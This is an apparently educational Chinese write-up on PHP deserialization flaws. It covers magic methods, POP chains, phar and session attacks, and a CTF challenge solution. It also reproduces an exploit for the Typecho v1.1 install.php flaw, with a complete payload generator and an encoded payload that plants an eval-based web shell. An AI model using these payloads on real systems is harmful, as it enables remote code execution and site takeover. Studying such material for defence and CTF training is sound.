0x01 原理

1.1 序列化与反序列化

序列化将一个对象压缩成一个字符串的方法,可以将对象的状态信息转化为可以存储或传输的形式。

举个栗子:此处代码来源于[1]

<?php
class userInfo
{
    private $passwd = 'weak';
    protected $sex = 'male';
    public $name = 'ama666';

    public function modifyPasswd($passwd)
    {
        $this->passwd = $passwd;
    }

    public function getPasswd()
    {
        echo $this->$passwd;
    }
}

$ama666 = new userInfo();
$ama666->modifyPasswd('strong');
$data = serialize($ama666);
echo $data;
?>

输出结果为:

O:8:"userInfo":3:{s:16:"userInfopasswd";s:6:"strong";s:6:"*sex";s:4:"male";s:4:"name";s:6:"ama666";}

# 含义如下:
# ' O:8:"userInfo":3: ' : 该Object名字为字符长度为8的"userInfo",有三个属性
# 大括号内的内容是属性的名字、名字的字符长度、值和其他信息
# 针对不同权限的属性,表示方式也不同:private前添加对象名(userInfo)
#                               protected前添加星号(*)
#                               public没有前缀

因此,一个对象序列化之后,字符中也就只有对象名、对象的属性键值对,并不包含方法

注:private属性在序列化的时候还包含空字节,所以一般要编码操作

反序列化是将序列化后的字符串”解压缩”成对象的过程。

但是,当这个字符串被还原的时候,并不会包含任何方法。因此,反序列化的对象想要使用原先的方法必须依托于,脱离了原本的域,反序列的对象无法使用之前的方法。

1.2 PHP魔术方法利用

在PHP中,有一些魔术方法,在特定条件下,会自动触发,如果这些函数中不幸(nice)存在一些可利用的函数,就可以进行下一步攻击。16个魔法函数如下:

  • _autoload() : 当使用未定义的类时,自动调用该函数(7.2.0版本被弃用)
  • __call() : 调用未定义或不可访问的方法时自动调用
  • __callStatic() : 调用类的一个不存在的静态方法 ( 不存在或该方法不可访问 ) 时自动调用
  • __clone() : PHP 对象的拷贝完成后,自动调用该方法(注意PHP的拷贝是浅拷贝)
  • __construct() : 构造函数,此函数会在创建一个类的实例时自动调用
  • __debugInfo() : 用于定制对象的 var_dump() 输出结果,调用var_dump() 时自动调用
  • __destruct() : 对象的所有引用都被删除或者类被销毁的时候自动调用,程序结束也会自动调用析构函数
  • __get() : 读取不存在或不可访问的属性值的时候,此魔法函数会自动调用
  • __invoke() : 会在将一个对象当作一个方法来使用时会自动调用
  • __isset() : 判断属性是否定义时,若属性私有或未定义,则自动调用
  • __set() : 给类的实例的不存在的属性或不可访问的属性赋值
  • __set_state() : 用var_export()输出一个对象时,会自动调用
  • __sleep() : 进行序列化的时候,先调用此函数,用于定制序列化结果,剔除无需序列化的属性
  • __toString() : 对象被当作字符串格式处理时会自动触发,需要此函数中的功能语句将对象转化为字符串,该函数必须要有一个字符串格式的返回值
  • __unset() : 销毁私有属性或不存在的属性时会自动调用
  • __wakeup() : 进行反序列化的时候,先调用此函数

注:所有魔法函数必须声明为public

1.3 普通成员方法利用

寻找相同的同名方法,将敏感函数和类联系在一起。

<?php
class chybeta {
    var $test;
    function __construct() {
        $this->test = new ph0en1x();
    }
    function __destruct() {
        $this->test->action();
    }
}
class ph0en1x {
    function action() {
        echo "ph0en1x";
    }
}
class ph0en2x {
    var $test2;
    function action() {
        eval($this->test2);
    }
}
$class6 = new chybeta();
unserialize($_GET['test']);
?>

例如上文中的代码:

析构函数中调用了对象的action()方法,而ph0en1x类和ph0en2x类中均含有action()方法,所以,若在构造序列化的时候将test属性设置为ph0en2x对象,则可以使用ph0en2x中的eval()函数执行自定义的PHP语句。

POC如下:

<?php
class chybeta {
    var $test;
    function __construct() {
        $this->test = new ph0en2x();
    }
}
class ph0en2x {
    var $test2 = "phpinfo();";
}
echo serialize(new chybeta());
?>

1.4 反序列化字符逃逸

PHP反序列化字符逃逸依靠PHP在反序列化时的几个特性:

  • 对类中不存在的属性也会反序列化

  • 在反序列化时,底层代码是以 ; 作为字段的分隔,以 } 作为结尾(字符串除外),并且根据长度判断内容

    例:正常的反序列化可执行a:2:{i:0;s:6:"peri0d";i:1;s:5:"aaaaa";}

    执行a:2:{i:0;s:6:"peri0d";i:1;s:5:"aaaaa";}i:1;s:5:"aaaaa";仍可得到相同结果

所以当碰到PHP对反序列化的字符串进行替换、删除等改变字符长度的操作时,可以构造payload使得替换后的字符串仍能正常反序列化,并反序列化为自定义的内容

1.5 phar反序列化

phar://PHP解压压缩包的一个函数,不管什么,都会当做压缩包来解压,当使用该伪协议读取phar文件时,会自动将文件中的meta-data部分反序列化

在真实情况,需要将构造好的phar文件上传到目标服务器,然后利用phar在解压时会反序化meta-data部分来达到目的

phar文件生成如下:

<?php
    class TestObject {

    }
    $phar = new Phar('phar.phar');
    $phar -> startBuffering();
    $phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');   //设置stub,增加gif文件头
    $phar ->addFromString('test.txt','test');  //添加要压缩的文件
    $object = new TestObject();
    $object -> data = 'Lmg';
    $phar -> setMetadata($object);  //将自定义meta-data存入manifest
    $phar -> stopBuffering();
?>

注意测试的时候要将php.iniphar.readonly参数设置为off

image-20210525160435845

利用条件:

  • phar文件要能上传
  • 有可利用函数如上图,可魔法函数构造pop链
  • 文件函数操作可控,: / phar 等没过被过滤

1.6 SESSION反序列化

session用于跟踪用户的行为,保存用户的信息和状态等等。服务器创建一个sessionid命名的文件,用于保存这个用户的会话信息。

当会话开始或通过session_start()开始时,php内部会通过传来的sessionid来读取文件,php会自动序列化session文件内容,并将其填充到超全局变量$_SESSION中。如果不存在对应的会话数据,则创建一个sessionid的文件。

常见session存储位置:

/var/lib/php5/sess_PHPSESSID

/var/lib/php7/sess_PHPSESSID

/var/lib/php/sess_PHPSESSID

/tmp/sess_PHPSESSID

/tmp/sessions/sess_PHPSESSED

session的存储机制

机制 存储格式
php 键名+竖线+serialize函数序列化处理的值
php_binary 键名长度对应的ASCII字符+键名+serialize函数序列化处理的值
php_serialize serialize函数序列化处理的值

例如:

  • Lmg|s:3:”123”; ————————-ini_set(‘session.serialize_handler’, ‘php’); php机制
  • Lmgs:3:”123”; ————————ini_set(“session.serialize_handler”, “php_binary”); php_binary机制
  • a:1:{s:3:”Lmg”;s:3:”123”;} ———–ini_set(“session.serialize_handler”, “php_serialize”); php_serialize机制

产生session反序列的原因就在程序员在读取或者存储中使用了不同的机制

举个栗子:假如存储时使用php_serialize机制,而读取时使用了php机制,那么存储时看似正常的竖线则会在读取时变为分隔符

存储的内容:a:1:{s:3:”Lmg”;s:60:”|O:7:”student”:2:{s:4:”name”;s:4:”hack”;s:3:”age”;s:2:”19”;}

读取的内容(竖线前的内容被看作变量名):O:7:”student”:2:{s:4:”name”;s:4:”hack”;s:3:”age”;s:2:”19”;}

没有$_SESSION赋值的session反序列化:

php中存在一个upload_process机制,可以自动创建$_SESSION一个键值对,而且其中的值用户可以控制,文件上传时应用可以发送一个POST请求到终端来检查这个状态

在上传文件时,post一个于session.upload_process.name同名的变量。后端就会自动将post的这个同名变量作为键,进行序列化然后存储到session文件中

0x02 BUUCTF-[网鼎杯 2020 青龙组]AreUSerialz

2.1 源码分析

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

简单分析该题后,发现需要GET传递str参数,在该参数符合is_valid()函数校验后,对str反序列化。

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

那么str需要符合什么请求呢?在is_valid()函数校验中,要求str中的所有字符ASCII码需要在32到125之间

接下来就是构造str并利用,在本题中有两个魔术方法存在:构造函数__construct()和析构函数__destruct()

function __construct() {
    $op = "1";
    $filename = "/tmp/tmpfile";
    $content = "Hello World!";
    $this->process();
}
function __destruct() {
    if($this->op === "2")
        $this->op = "1";
    $this->content = "";
    $this->process();
}

在此,可以利用析构函数,在__destruct()中,会判断对象的op属性是否等于”2”(PHP中的强类型判断,会判断变量的type是否也相同),并且进入process()

再查看process()函数:

public function process() {
    if($this->op == "1") {
        $this->write();
    } else if($this->op == "2") {
        $res = $this->read();
        $this->output($res);
    } else {
        $this->output("Bad Hacker!");
    }
}

在该函数中,判断op属性是否等于”2”(弱类型判断,并不会判断变量type是否相同),若等于,则用read()函数读取文件名为filename属性值的文件并输出

2.2 POC

通过上面分析,整个利用过程就清晰了:

构造字符串str绕过is_valid()函数的判断,然后设置op属性值绕过__destruct()中对”2”强类型判断,将filename设置为想要读取的文件名

POC1:PHP7.1+ 版本对属性类型不敏感,本地序列化的时候将属性改为 public可进行绕过

<?php

class FileHandler{ 
    public $op = 2;
    public $filename = "flag.php";
    public $content = "hello!";
}  
$poc1 = new FileHandler;
echo serialize($poc1);
//str为: O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:6:"hello!";}

?>

POC2:使用16进制的\00替换空字节,采用大写的S以支持16进制的\00(好像说空格替换空字节也可以,但我没有成功)

<?php

class FileHandler{ 
    protected $op = 2;
    protected $filename = "flag.php";
    protected $content = "hello!";
}  
$data = new FileHandler;
$poc2 = serialize($data);
$poc2 = str_replace(chr(00),'\00',$poc2);//由于protected属性序列化后包含空字节,将其替换为可见的"\00"
$poc2 = str_replace('s','S',$poc2);
echo $poc2;
//str为: O:11:"FileHandler":3:{S:5:"\00*\00op";i:2;S:11:"\00*\00filename";S:8:"flag.php";S:10:"\00*\00content";S:6:"hello!";}

?>

最后获得flag:

image-20210430094513449

image-20210430094448956

0x03 Typecho反序列化漏洞复现

3.1 漏洞简介

Typecho在程序安装后不会删除install.php,在该页面中存在反序列化漏洞

程序版本:v1.1-15.5.12-beta

3.2 源码分析

install.php的第230行中,找到反序列化相关内容:将get到的__typecho_config进行base64解码后,再反序列化,将反序列化的结果放入了Typecho_Db类中

<?php
    $config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
	Typecho_Cookie::delete('__typecho_config');
	$db = new Typecho_Db($config['adapter'], $config['prefix']);
	$db->addServer($config, Typecho_Db::READ | Typecho_Db::WRITE);
	Typecho_Db::set($db);
?>

查看Typecho_Cookie的get()函数:从cookie或者POST参数中获取值,因此,可控的输入源可以从此出发

public static function get($key, $default = NULL)
{
    $key = self::$_prefix . $key;
    $value = isset($_COOKIE[$key]) ? $_COOKIE[$key] : (isset($_POST[$key]) ? $_POST[$key] : $default);
    return is_array($value) ? $default : $value;
}

查看Typecho_Db类,其中的魔术方法有__construct():在变量$adapterName的拼接中,将该变量作为字符串进行拼接,会触发__toString()魔术方法

public function __construct($adapterName, $prefix = 'typecho_')
{
    /** 获取适配器名称 */
    $this->_adapterName = $adapterName;

    /** 数据库适配器 */
    $adapterName = 'Typecho_Db_Adapter_' . $adapterName;

    if (!call_user_func(array($adapterName, 'isAvailable'))) {
        throw new Typecho_Db_Exception("Adapter {$adapterName} is not available");
    }

    $this->_prefix = $prefix;

    /** 初始化内部变量 */
    $this->_pool = array();
    $this->_connectedPool = array();
    $this->_config = array();

    //实例化适配器对象
    $this->_adapter = new $adapterName();
}

查找__toString()魔术方法,发现在\var\Typecho\Feed.php中:若$item['author']中不存在screenName属性,则会触发item的__get()魔术方法

public function __toString()
{
	...
    $content .= '<item>' . self::EOL;
    $content .= '<title>' . htmlspecialchars($item['title']) . '</title>' . self::EOL;
    $content .= '<link>' . $item['link'] . '</link>' . self::EOL;
    $content .= '<guid>' . $item['link'] . '</guid>' . self::EOL;
    $content .= '<pubDate>' . $this->dateFormat($item['date']) . '</pubDate>' . self::EOL;
    $content .= '<dc:creator>' . htmlspecialchars($item['author']->screenName) . '</dc:creator>' . self::EOL;
    ...
}

全局搜索魔术方法__get()后,在\var\Typecho\Request.php中找到该方法:在该方法中调用了get()方法,其中给传入的不存在的属性赋值并调用_applyFilter()方法

public function __get($key)
{
    return $this->get($key);
}
public function get($key, $default = NULL)
{
    switch (true) {
        case isset($this->_params[$key]):
            $value = $this->_params[$key];
            break;
        case isset(self::$_httpParams[$key]):
            $value = self::$_httpParams[$key];
            break;
        default:
            $value = $default;
            break;
    }

    $value = !is_array($value) && strlen($value) > 0 ? $value : $default;
    return $this->_applyFilter($value);
}

_applyFilter()中,将根据$value是否为数组来调用array_map()call_user_func()函数,而这两个函数便可以执行命令

private function _applyFilter($value)
{
    if ($this->_filter) {
    foreach ($this->_filter as $filter) {
    $value = is_array($value) ? array_map($filter, $value) :
    call_user_func($filter, $value);
    }

    $this->_filter = array();
    }

    return $value;
}

3.3 复现流程

经过上文的分析,整个流程也就清晰了:

  1. 构造payload绕过并执行反序列化(需要base64编码)
  2. payload需通过cookie或POST方式传入
  3. payload中的Config属性传入Typecho_Db中,Typecho_Db会触发__toString()魔术方法
  4. __toString()魔术方法中再触发__get()魔术方法
  5. 最后利用__get()魔术方法中的函数调用array_map()call_user_func()函数从而实现命令执行

3.4 payload构造(参考[5])

<?php
class Typecho_Feed{
    private $_type = 'ATOM 1.0';
    private $_items = array();
    public function addItem(array $item){
        $this->_items[] = $item;
    }
}
class Typecho_Request{
    private $_params = array('screenName'=> 'file_put_contents(\'shell.php\', \'<?php @eval($_GET["shell"]);?>\')');
    private $_filter = array('assert');
}
$payload1 = new Typecho_Feed();
$payload2 = new Typecho_Request();
$payload1->addItem(array('author' => $payload2));
$exp = array('adapter' => $payload1, 'prefix' => 'typecho_');
echo base64_encode(serialize($exp));
?>
//YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo4OiJBVE9NIDEuMCI7czoyMDoiAFR5cGVjaG9fRmVlZABfaXRlbXMiO2E6MTp7aTowO2E6MTp7czo2OiJhdXRob3IiO086MTU6IlR5cGVjaG9fUmVxdWVzdCI6Mjp7czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfcGFyYW1zIjthOjE6e3M6MTA6InNjcmVlbk5hbWUiO3M6NjQ6ImZpbGVfcHV0X2NvbnRlbnRzKCdzaGVsbC5waHAnLCAnPD9waHAgQGV2YWwoJF9HRVRbInNoZWxsIl0pOz8+JykiO31zOjI0OiIAVHlwZWNob19SZXF1ZXN0AF9maWx0ZXIiO2E6MTp7aTowO3M6NjoiYXNzZXJ0Ijt9fX19fXM6NjoicHJlZml4IjtzOjg6InR5cGVjaG9fIjt9
?>

构造并发送数据包,注意要满足install.php的要求:有finish参数和HTTP_REFERER

//判断是否已经安装
if (!isset($_GET['finish']) && file_exists(__TYPECHO_ROOT_DIR__ . '/config.inc.php') && empty($_SESSION['typecho'])) {
    exit;
}

if (!empty($_GET) || !empty($_POST)) {
    if (empty($_SERVER['HTTP_REFERER'])) {
        exit;
    }

    $parts = parse_url($_SERVER['HTTP_REFERER']);
	if (!empty($parts['port'])) {
        $parts['host'] = "{$parts['host']}:{$parts['port']}";
    }

    if (empty($parts['host']) || $_SERVER['HTTP_HOST'] != $parts['host']) {
        exit;
    }
}

构造请求如下:

image-20210430201358165

shell上传成功:

image-20210430201431734

0x04 参考

[1] [红日安全]Web安全Day15 - 反序列化实战攻防 https://xz.aliyun.com/t/7023

[2] PHP 魔术方法 - 简介 https://www.twle.cn/c/yufei/phpmmethod/phpmmethod-basic-index.html

[3] [BUUCTF-WEB] [网鼎杯 2020 青龙组]AreUSerialz https://juejin.cn/post/6929123441257742350

[4] AreUSerialz-[网鼎杯 2020 青龙组]-[传送门->BUUCTF] https://www.secn.net/article/349246.html

[5] Typecho反序列化漏洞分析 https://lanvnal.com/2020/03/15/typecho-fan-xu-lie-hua-lou-dong-fen-xi/

[6] 浅谈php反序列化漏洞 https://chybeta.github.io/2017/06/17/%E6%B5%85%E8%B0%88php%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/

[7] php反序列化漏洞 https://www.cnblogs.com/Lmg66/p/13709419.html